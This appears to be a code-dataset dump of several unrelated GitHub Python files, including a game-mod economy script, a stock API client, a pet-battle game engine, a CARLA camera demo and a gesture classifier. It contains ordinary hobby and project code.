0),\n (store_sub, \":item_to_price_slot\", \"slot_town_trade_good_prices_begin\", trade_goods_begin),\n (store_add, \":cur_good_price_slot\", \":cur_good\", \":item_to_price_slot\"),\n (party_get_slot, \":cur_center_price\", \":center_no\", \":cur_good_price_slot\"),\n ##diplomacy start+ chief\n (gt, \":cur_center_price\", average_price_factor),#replace the hardcoded constant 1000 with average_price_factor\n (val_mul, \":raw_material_consumption\", average_price_factor),#again replace the hardcoded constant 1000 with average_price_factor\n ##diplomacy end+\n (val_div, \":raw_material_consumption\", \":cur_center_price\"),\n (try_end),\n \n \n \n (store_add, \":modified_consumption\", \":consumer_consumption\", \":raw_material_consumption\"),\n (try_begin),\n (party_get_slot, \":prosperity_plus_75\", \":center_no\", \"slot_town_prosperity\"),\n (val_add, \":prosperity_plus_75\", 75),\n (val_mul, \":modified_consumption\", \":prosperity_plus_75\"),\n (val_div, \":modified_consumption\", 125),\n (try_end),\n \n\n (assign, reg0, \":modified_consumption\"), #modded by prosperity\n (assign, reg1, \":raw_material_consumption\"),\n (assign, reg2, \":consumer_consumption\"), \n ]),\n\n # output: reg0 = hardship_index\n (\"center_get_goods_availability\", \n [\n (store_script_param, \":center_no\", 1),\n\n (assign, \":hardship_index\", 0),\n (try_for_range, \":cur_good\", trade_goods_begin, trade_goods_end),\n\n # Must have consumption of at least 4 to be relevant\n # This prevents perishables and raw materials from having a major impact\n (try_begin),\n (is_between, \":center_no\", villages_begin, villages_end),\n (item_get_slot, \":consumer_consumption\", \":cur_good\", \"slot_item_rural_demand\"),\n (else_try),\n (item_get_slot, \":consumer_consumption\", \":cur_good\", \"slot_item_urban_demand\"),\n (try_end),\n (gt, \":consumer_consumption\", 2),\n\n (store_div, \":max_impact\", \":consumer_consumption\", 4),\n\n # High-demand items like grain tend to have much more dramatic price differentiation,\n # so they yield substantially higher results than low-demand items\n (store_sub, \":cur_good_price_slot\", \":cur_good\", trade_goods_begin),\n (val_add, \":cur_good_price_slot\", \"slot_town_trade_good_prices_begin\"),\n (party_get_slot, \":price\", \":center_no\", \":cur_good_price_slot\"),\n\n # (store_sub, \":price_differential\", \":price\", 950), #MOTO chief adjust game prosperity levels\n (store_sub, \":price_differential\", \":price\", 1000),\n (gt, \":price_differential\", 200), #was 100\n\n (val_div, \":price_differential\", 200),\n (val_min, \":price_differential\", \":max_impact\"),\n\n (val_add, \":hardship_index\", \":price_differential\"),\n (try_end),\n\n (assign, reg0, \":hardship_index\"),\n\n (try_begin),\n (eq, \"$cheat_mode\", 1),\n (str_store_party_name, s4, \":center_no\"),\n (display_message, \"@{!}DEBUG -- hardship index for {s4} = {reg0}\"),\n (try_end),\n ]),\n\n # output: reg0 = production\n (\"good_price_affects_good_production\",\n [\n (store_script_param, \":center\", 1), \n (store_script_param, \":input_item_no\", 2), \n (store_script_param, \":production\", 3), \n (store_script_param, \":impact_divisor\", 4),\n\n #(assign, reg4, \":production\"),\n\n (try_begin),\n (gt, \":production\", 0), # let's take -20 as the zero production rate, although in actuality production can go lower, representing increased demand\n \n (store_sub, \":input_good_price_slot\", \":input_item_no\", trade_goods_begin),\n (val_add, \":input_good_price_slot\", \"slot_town_trade_good_prices_begin\"),\n (party_get_slot, \":input_price\", \":center\", \":input_good_price_slot\"),\n \n (try_begin),\n (is_between, \":center\", towns_begin, towns_end),\n\n (val_mul, \":input_price\", 4),\n (assign, \":number_of_villages\", 4),\n (try_for_range, \":village_no\", villages_begin, villages_end),\n (party_slot_eq, \":village_no\", \"slot_village_bound_center\", \":center\"),\n (party_get_slot, \":input_price_at_village\", \":village_no\", \":input_good_price_slot\"),\n (val_add, \":input_price\", \":input_price_at_village\"),\n (val_add, \":number_of_villages\", 1),\n (try_end), \n\n (val_div, \":input_price\", \":number_of_villages\"),\n (try_end),\n\n # 1/2 impact for low prices\n (try_begin),\n (lt, \":input_price\", average_price_factor),\n (val_mul, \":impact_divisor\", 2),\n (try_end),\n\n (try_begin),\n (gt, \":impact_divisor\", 1),\n (val_sub, \":input_price\", average_price_factor),\n (val_div, \":input_price\", \":impact_divisor\"),\n (val_add, \":input_price\", average_price_factor),\n (try_end),\n\n (val_mul, \":production\", average_price_factor),\n (val_div, \":production\", \":input_price\"),\n\n #(assign, reg5, \":production\"),\n #(assign, reg3, \":input_price\"),\n #(str_store_item_name, s4, \":input_item_no\"),\n #(display_message, \"@{s4} price of {reg3} reduces production from {reg4} to {reg5}\"),\n (try_end),\n \n (assign, reg0, \":production\"), \n ]),\n]\n","repo_name":"LordGolias/Brytenwalda","sub_path":"source/economy/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":32747,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"30871283502","text":"from pathlib import Path\nfrom dotenv import load_dotenv\n\n\ndef find(feature, dictionary):\n \"\"\"\n Finding the feature value in dict\n :type feature: str\n :type dictionary: dict\n \"\"\"\n if not isinstance(dictionary, dict):\n return\n for key, value in dictionary.items():\n if key == feature:\n yield value\n elif isinstance(value, dict):\n for result in find(feature, value):\n yield result\n elif isinstance(value, list):\n for inner_dict in value:\n for result in find(feature, inner_dict):\n yield result\n\n\ndef find_feature_in(\n generator_obj,\n feature,\n feature_key='name',\n feature_value='value'\n):\n \"\"\"\n Finding the feature in the list of dicts\n :type generator_obj: generator\n :type feature: str\n :type feature_key: str\n :type feature_value: str\n \"\"\"\n for item in next(generator_obj, \"STOP\"):\n if not isinstance(item, dict):\n return None\n if item[feature_key] == feature:\n return item[feature_value]\n return None\n\n\ndef load_environment(\n path,\n filename\n):\n \"\"\"\n Load the environment due to the mentioned state.\n :type path: str\n :type filename: str\n \"\"\"\n print(\"LOADING ENVIRONMENT\")\n env_path = Path('.') / f'{path}' / f'{filename}'\n load_dotenv(\n dotenv_path=env_path,\n verbose=True\n )","repo_name":"smaystr/rails_reactor","sub_path":"data_crawling/02/project/bot/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"40926016614","text":"# core.py\n\n# standard library imports\nimport logging\n\n# 3rd party imports\nimport requests\nfrom requests import HTTPError\n\n# local imports\nfrom stock_tracker.utils.dot import Dot\n\nLOGGER = logging.getLogger('stocktracker.core')\n\n\nclass Stock:\n def __init__(self, config) -> None:\n self._config = Dot(config['tracker'])\n self._response = None\n self._params = {}\n self.validated = False\n self._headers = {\"Content-Type\": \"application/json\"}\n\n @property\n def response(self) -> dict:\n return self._response\n\n def build_params(self, obj: dict, clean=False) -> None:\n \"\"\"\n Build params object and sets params\n :param obj: params obj\n :param clean: Bool value\n \"\"\"\n if clean:\n self._params = {}\n for k, v in obj.items():\n self._params[k] = v\n self._params['apikey'] = self._config.auth\n self._params['datatype'] = 'json'\n LOGGER.debug(f\"params: {self._params}\")\n\n def fetch(self, query: dict) -> None:\n \"\"\"\n Query the API and retrieve the configured request\n \"\"\"\n # Validate config file for minimum fields\n if not self.validated:\n if not self.validate_fields(query):\n raise KeyError(f\"Missing required fields from query: {query}\")\n elif not self._params:\n self.build_params(query)\n # Make request to API\n try:\n if not self._params:\n raise KeyError(f\"Missing required params\")\n response = requests.get(self._config.endpoint, params=self._params, headers=self._headers)\n response.raise_for_status()\n self._response = response.json()\n except HTTPError as e:\n LOGGER.error(str(e))\n raise HTTPError(f\"There was an issue with the request: {str(e)}\")\n\n def validate_fields(self, obj: dict, required=None) -> bool:\n \"\"\"\n Validates an object with set required fields\n :param obj: a dictionary object to be validated\n :param required: Optional list of required fields\n :return: bool\n \"\"\"\n fields = required if required else [\"function\", \"symbol\", \"interval\"]\n\n for k, v in obj.items():\n if isinstance(v, dict):\n self.validate_fields(v)\n if k not in fields:\n return False\n return True\n","repo_name":"cjcrist/Stock-Tracker","sub_path":"stock_tracker/core/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37019969928","text":"from dataclasses import dataclass\nimport enum\nimport copy\nimport random\n\nimport pets\nfrom common import *\n\n\nclass Action:\n def act(self):\n pass\n\n\n@dataclass\nclass EndTurn:\n def valid(self, player, game):\n return True\n\n\n@dataclass\nclass Buy:\n source_index: int\n target_index: int\n\n def valid(self, player, game):\n if self.source_index >= len(player.shop):\n return False\n if player.money < 3: # FIXME - sometimes things are cheaper, like milk\n return False\n\n purchased = player.shop[self.source_index]\n if isinstance(purchased.data, PetData):\n if self.target_index >= len(player.pets):\n return True\n\n target_pet = player.pets[self.target_index]\n if target_pet.level == 3 or target_pet.data != purchased.data:\n return False\n else:\n if self.target_index >= len(player.pets):\n return False\n\n return True\n\n def act(self, player, game):\n player.money -= 3 # FIXME\n purchased = player.shop[self.source_index]\n if isinstance(purchased.data, PetData):\n new_pet = Pet(purchased.data)\n if self.target_index < len(player.pets):\n target_pet = player.pets[self.target_index]\n level_up = target_pet.combine(new_pet)\n if level_up:\n target_pet.data.handle_event(\n LevelUpEvent(target_pet, target_pet, player.pets)\n )\n player.add_bonus_unit(game.round)\n else:\n player.pets.append(new_pet)\n target_pet = player.pets[-1]\n\n for pet in player.pets:\n pet.data.handle_event(\n BuyEvent(pet, target_pet, player.pets, player.lost_last_turn)\n )\n pet.data.handle_event(SummonEvent(pet, target_pet, player.pets))\n\n else:\n target_pet = player.pets[self.target_index]\n for pet in player.pets:\n pet.data.handle_event(EatEvent(pet, purchased.data, target_pet))\n\n if isinstance(purchased.data, ConsumableFood):\n purchased.data.consume(pet, friends=player.pets)\n elif isinstance(purchased.data, EquippableFood):\n target_pet.food = purchased.data\n\n\n@dataclass\nclass Reposition:\n source_index: int\n target_index: int\n\n def valid(self, player, game):\n return self.source_index < len(player.pets) and self.target_index < len(\n player.pets\n )\n\n def act(self, player, game):\n source_pet = player.pets[self.source_index]\n delta = 1 if self.target_index > self.source_index else -1\n for i in range(self.source_index, self.target_index, delta):\n player.pets[i] = player.pets[i + delta]\n\n player.pets[self.target_index] = source_pet\n\n\n@dataclass\nclass Sell:\n index: int\n\n def valid(self, player, game):\n return self.index < len(player.pets)\n\n def act(self, player, game):\n sold_pet = player.pets[self.index]\n del player.pets[self.index]\n\n for pet in player.pets:\n pet.data.handle_event(SellEvent(pet, sold_pet, player.pets, player))\n\n sold_pet.data.handle_event(SellEvent(sold_pet, sold_pet, player.pets, player))\n player.money += sold_pet.level\n\n\n@dataclass\nclass Roll:\n def valid(self, player, game):\n return player.money >= 1\n\n def act(self, player, game):\n player.money -= 1\n player.refresh_shop(game.round)\n\n\n@dataclass\nclass Combine:\n source_index: int\n target_index: int\n\n def valid(self, player, game):\n if self.source_index >= len(player.pets) or self.target_index >= len(\n player.pets\n ):\n return False\n\n pet1, pet2 = player.pets[self.source_index], player.pets[self.target_index]\n return pet1.data == pet2.data\n\n def act(self, player, game):\n target_pet = player.pets[self.target_index]\n level_up = target_pet.combine(player.pets[self.source_index])\n if level_up:\n player.add_bonus_unit(game.round)\n del player.pets[self.source_index]\n\n\n@dataclass\nclass ToggleFreeze:\n index: int\n\n def valid(self, player, game):\n return 0 <= self.index < len(player.shop)\n\n def act(self, player, game):\n player.shop[self.index].frozen ^= True # fanciest toggle in the west\n\n\nclass Food:\n def __init__(self, food_data):\n self.food_data = food_data\n\n\nclass Player:\n def __init__(self, health):\n self.pets = []\n self.shop = []\n self.money = 0\n self.health = health\n self.lost_last_turn = False\n\n def get_pets_for_battle(self):\n return [pet.to_battle_pet() for pet in self.pets]\n\n def refresh_shop(self, round):\n # seems to be uniform with replacement among all available pets\n new_pet_shop = []\n new_food_shop = []\n for buyable in self.shop:\n if buyable is None:\n continue\n\n if buyable.frozen:\n if isinstance(buyable.data, PetData):\n new_pet_shop.append(buyable)\n else:\n new_food_shop.append(buyable)\n\n tier = current_tier(round)\n\n max_buyable_pets = 3 # FIXME\n max_buyable_food = min(MAX_SHOP_SIZE, max_buyable_pets - 2) # FIXME\n\n while len(new_pet_shop) < max_buyable_pets:\n new_pet = random.choice(pets.PACK1_AVAILABLE_PETS[tier])\n new_pet_shop.append(Buyable(new_pet))\n\n while len(new_food_shop) < max_buyable_food:\n new_food = random.choice(pets.PACK1_AVAILABLE_FOOD[tier])\n new_food_shop.append(Buyable(new_food))\n\n self.shop = new_pet_shop + new_food_shop\n\n def add_bonus_unit(self, round):\n tier = current_tier(round)\n next_tier = min(6, tier + 1)\n\n new_pet = random.choice(pets.PACK1_PETS[next_tier])\n self.shop.append(Buyable(new_pet)) # FIXME this should be before food\n\n\nclass Buyable:\n def __init__(self, pet_or_food_data):\n self.bonus_attack = 0\n self.bonus_health = 0\n self.data = pet_or_food_data\n self.frozen = False\n\n def total_attack(self):\n # FIXME - this doesn't make sense for food\n return self.data.attack + self.bonus_attack\n\n def total_health(self):\n return self.data.health + self.bonus_health\n\n def __repr__(self):\n if isinstance(self.data, PetData):\n return f\"{self.data.__class__.__name__}({self.total_attack()}, {self.total_health()})\"\n else:\n return self.data.__class__.__name__\n\n\nclass BattleResult(enum.Enum):\n P1_WIN = 1\n DRAW = 2\n P2_WIN = 3\n\n\nclass GameResult(enum.Enum):\n UNFINISHED = 0\n P1_WIN = 1\n P2_WIN = 2\n DRAW = 3\n\n\nclass Game:\n def __init__(self, verbose=False):\n self.verbose = verbose\n\n self.p1, self.p2 = Player(10), Player(10)\n self.players = [self.p1, self.p2]\n self.round = 1\n self.result = GameResult.UNFINISHED\n self.current_player_index = 0\n self.start_round()\n\n def check_result(self):\n if self.p2.health <= 0:\n self.result = GameResult.P1_WIN\n if self.p1.health <= 0:\n self.result = GameResult.P2_WIN\n if self.round > 30:\n self.result = GameResult.DRAW\n\n def start_round(self):\n for player in self.players:\n player.refresh_shop(self.round)\n player.money = 10\n for pet in player.pets:\n pet.battle_attack = 0\n pet.battle_health = 0\n pet.data.handle_event(StartRoundEvent(pet, player))\n\n def finish_round(self):\n battle_result = self.resolve_battle()\n if self.verbose:\n print(self.round, self.p1.health, self.p2.health, battle_result)\n\n self.p1.lost_last_turn, self.p2.lost_last_turn = False, False\n if battle_result == BattleResult.P1_WIN:\n lose_round(self.p2, self.round)\n elif battle_result == BattleResult.P2_WIN:\n lose_round(self.p1, self.round)\n\n def resolve_battle(self):\n p1_pets = self.p1.get_pets_for_battle()\n p2_pets = self.p2.get_pets_for_battle()\n\n resolution_stack = []\n\n # FIXME go in decreasing order of attack\n for pet in p1_pets:\n StartBattleEvent(pet, p1_pets, p2_pets).handle()\n\n for pet in p2_pets:\n StartBattleEvent(pet, p2_pets, p1_pets).handle()\n\n while p1_pets and p2_pets:\n if self.verbose:\n print(\"p1:\", p1_pets)\n print(\"p2:\", p2_pets)\n\n for pet in p1_pets:\n BeforeAttackEvent(pet, p1_pets, p2_pets).handle()\n for pet in p2_pets:\n BeforeAttackEvent(pet, p2_pets, p1_pets).handle()\n\n if len(p1_pets) == 0 or len(p2_pets) == 0:\n break\n\n p1_damage = p1_pets[-1].total_attack()\n p2_damage = p2_pets[-1].total_attack()\n p1_pets[-1].take_damage(p2_damage)\n p2_pets[-1].take_damage(p1_damage)\n\n for pet in p1_pets:\n HurtEvent(pet, p1_pets[-1], p2_damage, p1_pets, p2_pets).handle()\n for pet in p2_pets:\n HurtEvent(pet, p2_pets[-1], p1_damage, p2_pets, p1_pets).handle()\n\n if len(p1_pets) == 0 or len(p2_pets) == 0:\n break\n\n for pet in p1_pets:\n AfterAttackEvent(\n pet, p1_pets[-1], p2_pets[-1], p1_pets, p2_pets\n ).handle()\n for pet in p2_pets:\n AfterAttackEvent(\n pet, p2_pets[-1], p1_pets[-1], p2_pets, p1_pets\n ).handle()\n\n if p1_pets and p1_pets[-1].total_health() <= 0:\n # FIXME - if meat kills, this will unintentionally double kill\n source = p1_pets.pop()\n index = len(p1_pets)\n SelfFaintEvent(source, index, p1_pets, p2_pets).handle()\n for pet in p1_pets:\n FriendFaintEvent(pet, source, index, p1_pets, p2_pets).handle()\n if p2_pets and p2_pets[-1].total_health() <= 0:\n source = p2_pets.pop()\n index = len(p2_pets)\n SelfFaintEvent(source, index, p2_pets, p1_pets).handle()\n for pet in p2_pets:\n FriendFaintEvent(pet, source, index, p2_pets, p1_pets).handle()\n\n if self.verbose:\n print(\"p1:\", p1_pets)\n print(\"p2:\", p2_pets)\n\n if p1_pets:\n return BattleResult.P1_WIN\n elif p2_pets:\n return BattleResult.P2_WIN\n else:\n return BattleResult.DRAW\n\n def current_player(self):\n return self.players[self.current_player_index]\n\n def step(self, action):\n if self.verbose:\n print(\"player\", self.current_player_index, \"plays\", action)\n self.check_result()\n if self.result != GameResult.UNFINISHED:\n return self.result\n\n if type(action) == EndTurn:\n self.current_player_index = (self.current_player_index + 1) % 2\n if self.current_player_index == 0:\n for player in self.players:\n for pet in player.pets:\n EndTurnEvent(pet, player.pets).handle()\n\n self.finish_round()\n self.round += 1\n self.start_round()\n else:\n action.act(self.current_player(), self)\n\n return self.result\n\n\ndef current_tier(round):\n if round < 3:\n return 1\n elif round < 5:\n return 2\n elif round < 7:\n return 3\n elif round < 9:\n return 4\n elif round < 11:\n return 5\n return 6\n\n\ndef lose_round(player, round):\n if round < 4:\n player.health -= 1\n elif round < 6:\n player.health -= 2\n else:\n player.health -= 3\n player.lost_last_turn = True\n","repo_name":"AdamVenis/sapai","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":12089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71405129158","text":"#!/bin/python3\n\n\nname = input('What is your name?\\n')\nprint(f'hello, {name}')\n\nhours = 35\nrate = 2.75\npay = hours * rate\nprint(pay)\n\nwidth = 17\nheight = 12.0\nC = width//2\nprint(C)\n\nwidth/2.0\nheight/3\n1 + 2 * 5\n","repo_name":"Pramey01/python","sub_path":"Chapter 2 excercises.py","file_name":"Chapter 2 excercises.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33111292324","text":"#!/usr/bin/python3\n\"\"\" the class Base \"\"\"\nimport json\nimport csv\nimport turtle\n\n\nclass Base:\n \"\"\"Base class\"\"\"\n __nb_objects = 0\n\n def __init__(self, id=None):\n \"\"\" init function\"\"\"\n if id is not None:\n self.id = id\n else:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n\n @staticmethod\n def to_json_string(list_dictionaries):\n \"\"\" json dump string \"\"\"\n if list_dictionaries is None or list_dictionaries == []:\n return \"[]\"\n new = json.dumps(list_dictionaries)\n return new\n\n @classmethod\n def save_to_file(cls, list_objs):\n \"\"\" saves json to file \"\"\"\n filename = cls.__name__ + \".json\"\n with open(filename, \"w\") as jsonfile:\n if list_objs is None:\n jsonfile.write(\"[]\")\n else:\n list_dicts = [i.to_dictionary() for i in list_objs]\n jsonfile.write(Base.to_json_string(list_dicts))\n\n @staticmethod\n def from_json_string(json_string):\n \"\"\" from load json into a string \"\"\"\n if json_string is None or json_string == \"[]\":\n return []\n return json.loads(json_string)\n\n @classmethod\n def create(cls, **dictionary):\n \"\"\" creates new objects \"\"\"\n if dictionary and dictionary != {}:\n if cls.__name__ == \"Rectangle\":\n new = cls(1, 1)\n else:\n new = cls(1)\n new.update(**dictionary)\n return new\n\n @classmethod\n def load_from_file(cls):\n \"\"\" loads objects from file \"\"\"\n filename = str(cls.__name__) + \".json\"\n try:\n with open(filename, \"r\") as jsonfile:\n obj = jsonfile.read()\n list_dicts = Base.from_json_string(obj)\n return [cls.create(**dictionary) for dictionary in list_dicts]\n except IOError:\n return []\n\n @classmethod\n def save_to_file_csv(cls, list_objs):\n \"\"\" save to csv file \"\"\"\n filename = cls.__name__ + \".csv\"\n with open(filename, \"w\", newline=\"\") as csvfile:\n if list_objs is None or list_objs == []:\n csvfile.write(\"[]\")\n else:\n if cls.__name__ == \"Rectangle\":\n fieldnames = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n else:\n fieldnames = [\"id\", \"size\", \"x\", \"y\"]\n\n w = csv.DictWriter(csvfile, fieldnames=fieldnames)\n for obj in list_objs:\n w.writerow(obj.to_dictionary())\n\n @classmethod\n def load_from_file_csv(cls):\n \"\"\" loads from csv file \"\"\"\n filename = cls.__name__ + \".csv\"\n try:\n with open(filename, \"r\", newline=\"\") as csvfile:\n if cls.__name__ == \"Rectangle\":\n fieldnames = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n else:\n fieldnames = [\"id\", \"size\", \"x\", \"y\"]\n list_dicts = csv.DictReader(csvfile, fieldnames=fieldnames)\n list_dicts = [dict([k, int(v)] for k, v in i.items())\n for i in list_dicts]\n return [cls.create(**i) for i in list_dicts]\n except IOError:\n return []\n\n @staticmethod\n def draw(list_rectangles, list_squares):\n \"\"\" draws the rectangles and squares in list \"\"\"\n t = turtle.Turtle()\n t.screen.bgcolor(\"#b7312c\")\n t.pensize(5)\n t.shape(\"turtle\")\n\n t.color(\"#ff0000\")\n for r in list_rectangles:\n t.showturtle()\n t.up()\n t.goto(r.x, r.y)\n t.down()\n for _ in range(2):\n t.forward(r.width)\n t.left(90)\n t.forward(r.height)\n t.left(90)\n t.hideturtle()\n\n t.color(\"#26ff00\")\n for s in list_squares:\n t.showturtle()\n t.up()\n t.goto(s.x, x.y)\n t.down()\n for _ in range(2):\n t.forward(s.width)\n t.left(90)\n t.forward(s.height)\n t.left(90)\n t.hideturtle()\n\n turtle.exitonclick()\n","repo_name":"AvitBrian/alu-higher_level_programming","sub_path":"python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"35924956918","text":"import sys, os\nsys.path.append(\"D:\\Projects\\CARLA-FY2022\\carla\")\nsys.path.append(\"D:\\Projects\\CARLA-FY2022\\carla\\dist\\carla-0.9.11-py3.7-win-amd64.egg\")\n\nimport carla\nimport math\nimport random\nimport time\nimport numpy as np\nimport cv2\n\n\n# Connect the client and set up bp library and spawn points\nclient = carla.Client('localhost', 2000)\nworld = client.get_world()\nbp_lib = world.get_blueprint_library()\nspawn_points = world.get_map().get_spawn_points()\n\n# Add the ego vehicle\nvehicle_bp = bp_lib.find('vehicle.toyota.prius')\nvehicle = world.try_spawn_actor(vehicle_bp, spawn_points[79])\n\n# Move the spectator behind the vehicle to view it\nspectator = world.get_spectator()\ntransform = carla.Transform(vehicle.get_transform().transform(carla.Location(x=-4,z=2.5)),vehicle.get_transform().rotation)\nspectator.set_transform(transform)\n\n# Add traffic\nfor i in range(50):\n vehicle_bp = random.choice(bp_lib.filter('vehicle'))\n npc = world.try_spawn_actor(vehicle_bp, random.choice(spawn_points))\n\n\n# Set traffic in motion\nfor v in world.get_actors().filter('*vehicle*'):\n v.set_autopilot(True)\n\n# Set initial camera translation\ncamera_init_trans = carla.Transform(carla.Location(z=2))\n\n# Add one of each type of camera\ncamera_bp = bp_lib.find('sensor.camera.rgb')\ncamera = world.spawn_actor(camera_bp, camera_init_trans, attach_to=vehicle)\n\nsem_camera_bp = bp_lib.find('sensor.camera.semantic_segmentation')\nsem_camera = world.spawn_actor(sem_camera_bp, camera_init_trans, attach_to=vehicle)\n\n\n# Define respective callbacks\ndef rgb_callback(image, data_dict):\n data_dict['rgb_image'] = np.reshape(np.copy(image.raw_data), (image.height, image.width, 4))\n\n\ndef sem_callback(image, data_dict):\n image.convert(carla.ColorConverter.CityScapesPalette)\n data_dict['sem_image'] = np.reshape(np.copy(image.raw_data), (image.height, image.width, 4))\n\n\n# Initialise parameters and data\nimage_w = camera_bp.get_attribute(\"image_size_x\").as_int()\nimage_h = camera_bp.get_attribute(\"image_size_y\").as_int()\n\nsensor_data = {'rgb_image': np.zeros((image_h, image_w, 4)),\n 'sem_image': np.zeros((image_h, image_w, 4))}\n\n# OpenCV named window for display\ncv2.namedWindow('All cameras', cv2.WINDOW_AUTOSIZE)\n\n# Tile all data in one array\ntop_row = np.concatenate((sensor_data['rgb_image'], sensor_data['sem_image']), axis=1)\n\n# Display with imshow\ncv2.imshow('All cameras', top_row)\ncv2.waitKey(1)\n\n# Set sensors recording\ncamera.listen(lambda image: rgb_callback(image, sensor_data))\nsem_camera.listen(lambda image: sem_callback(image, sensor_data))\n\n# Indefinite while loop\nwhile True:\n\n # Tile camera images into one array\n top_row = np.concatenate((sensor_data['rgb_image'], sensor_data['sem_image']), axis=1)\n\n # Dispaly with imshow\n cv2.imshow('All cameras', top_row)\n\n # Break loop if user presses q\n if cv2.waitKey(1) == ord('q'):\n break\n\n# Stop sensors and destroy OpenCV window\ncamera.stop()\nsem_camera.stop()\ncv2.destroyAllWindows()\n","repo_name":"niwatNETH/CarlaContest2023","sub_path":"02_EventIntroduction/examples/Camera sensors.py","file_name":"Camera sensors.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"15640812946","text":"from subprocess import Popen, PIPE\nimport os\nimport sys\n\nhome = os.getcwd()\n#print(home)\n#sys.exit()\nprocess = Popen(['whereis', 'MATLAB'], stdout = PIPE, stderr = PIPE)\nstdout, stderr = process.communicate();process.wait()\npath = str(stdout, 'utf-8').split(': ')[1].strip('\\n')\nos.chdir(path + '/R2016a/bin')\n# process = Popen(['./matlab', '-softwareopengl', '-nodesktop', '-r', '\"cd(])\nfasta_train = home+'/refined_alignments/PF04398_refined.fasta'\nfasta_test = home+'/hmm_emitted_sequences_aligned/PF04398_hmmsequences_aligned.fasta'\n# ./matlab -softwareopengl -nodesktop -r \"cd('/media/Data/consensus_project/martin_dca'); calculate_dca_scores('/media/Data/consensus_project/refined_alignments/PF04398_refined.fasta','/media/Data/consensus_project/hmm_emitted_sequences_aligned/PF04398_hmmsequences_aligned.fasta', 'PF04398', '/media/Data/consensus_project');exit\"\naccession = 'PF04398'\ncmd = './matlab -softwareopengl -nodesktop -r ' + '\"cd('+\"'\"+ home+'/martin_dca'+\"'\" + '); '+'calculate_dca_scores('+\"'\"+fasta_train+\"','\"\ncmd += fasta_test+\"','\"+accession+\"','\"+home+\"');\"+'exit\"'\n\n#process = Popen('./matlab -softwareopengl -nodesktop -r \"cd('+home+'martin_dca/); calculate_dca_scores('+fasta_train+','+fasta_test+','+accession+','+home');exit\"', shell=True) \nprocess = Popen(cmd,shell=True)\nprocess.wait()\n\n\n\n","repo_name":"kalyaniasthana/consensus_design_pipeline","sub_path":"test_matlab.py","file_name":"test_matlab.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"440577973","text":"from dataset import KaggleDataset, KaggleLoader\nfrom datapicker import DataPicker\nimport unittest\nimport torch\nimport configparser\nimport os\nimport math\n\n\nclass DatasetTest(unittest.TestCase):\n def setUp(self) -> None:\n self.apppath = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\")\n self.config = configparser.ConfigParser()\n self.config.read(os.path.abspath(os.path.join(self.apppath, \"output_config.ini\")))\n self.path_dict = {\n \"img\": self.config[\"training\"][\"img_root\"],\n \"label\": self.config[\"training\"][\"label_root\"],\n }\n\n def testDataset(self):\n picker = DataPicker(self.path_dict[\"img\"], self.path_dict[\"label\"], 0.8)\n train_loader, test_loader = picker.get_loader(batch_size=1)\n visited = set()\n count = 0\n for index, data in enumerate(train_loader):\n image, label, name = data\n self.assertTrue(name[0] not in visited)\n visited.add(name[0])\n self.assertEqual(image.shape, torch.Size((1, 3, 224, 224)))\n self.assertEqual(label.shape, torch.Size((1, 4)))\n count += 1\n self.assertEqual(count, math.ceil(1821*0.8))\n for index, data in enumerate(test_loader):\n image, label, name = data\n self.assertTrue(name[0] not in visited)\n self.assertEqual(image.shape, torch.Size((1, 3, 224, 224)))\n self.assertEqual(label.shape, torch.Size((1, 4)))\n count += 1\n self.assertEqual(count, 1821)\n","repo_name":"David3310273/Plant_Pathology_2020","sub_path":"tests/datasetTest.py","file_name":"datasetTest.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15323863605","text":"import cv2\nimport time\nimport numpy as np\nimport tensorflow as tf\n\nfrom model_factory import build_model\n\nclass_names = [\"nothing\", \"other\", \"close\", \"left\", \"right\", \"ok\"]\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nconfig.gpu_options.per_process_gpu_memory_fraction = True\ntf.keras.backend.set_session(tf.Session(config=config))\nmodel_type = \"mobilenet_v3_small\"\nckpt_path = \"./logs/weights_009-0.0587.h5\"\nhistory_length = 5\nprob_threshold = 0.8\n\n\ndef main(args):\n model, preprocess_fn = build_model(\n model_type=model_type,\n minimalistic=True,\n )\n model.load_weights(ckpt_path)\n\n cap = cv2.VideoCapture(0)\n history = []\n t1 = time.time()\n while True:\n flag, frame = cap.read()\n if not flag:\n break\n img = np.array(cv2.resize(frame, (224, 224)))\n probs = model.predict(\n preprocess_fn(img[:, :, ::-1].astype(np.float32).reshape(\n 1, 224, 224, 3)))\n history.append(probs)\n history = history[-history_length:]\n cur_probs = np.sum(np.stack(history), axis=0) / len(history)\n if np.max(cur_probs) < prob_threshold:\n cur_id = 0\n cur_prob = 0\n else:\n cur_id = np.argmax(cur_probs)\n cur_prob = np.max(cur_probs)\n\n if cv2.waitKey(10) & 0xFF == ord('q'):\n break\n\n t2 = time.time()\n cur_fps = 1. / (t2 - t1)\n t1 = t2\n height, width, _ = frame.shape\n label = np.zeros([height // 10, width, 3]).astype('uint8') + 255\n cv2.putText(\n label, 'Prediction: ' + 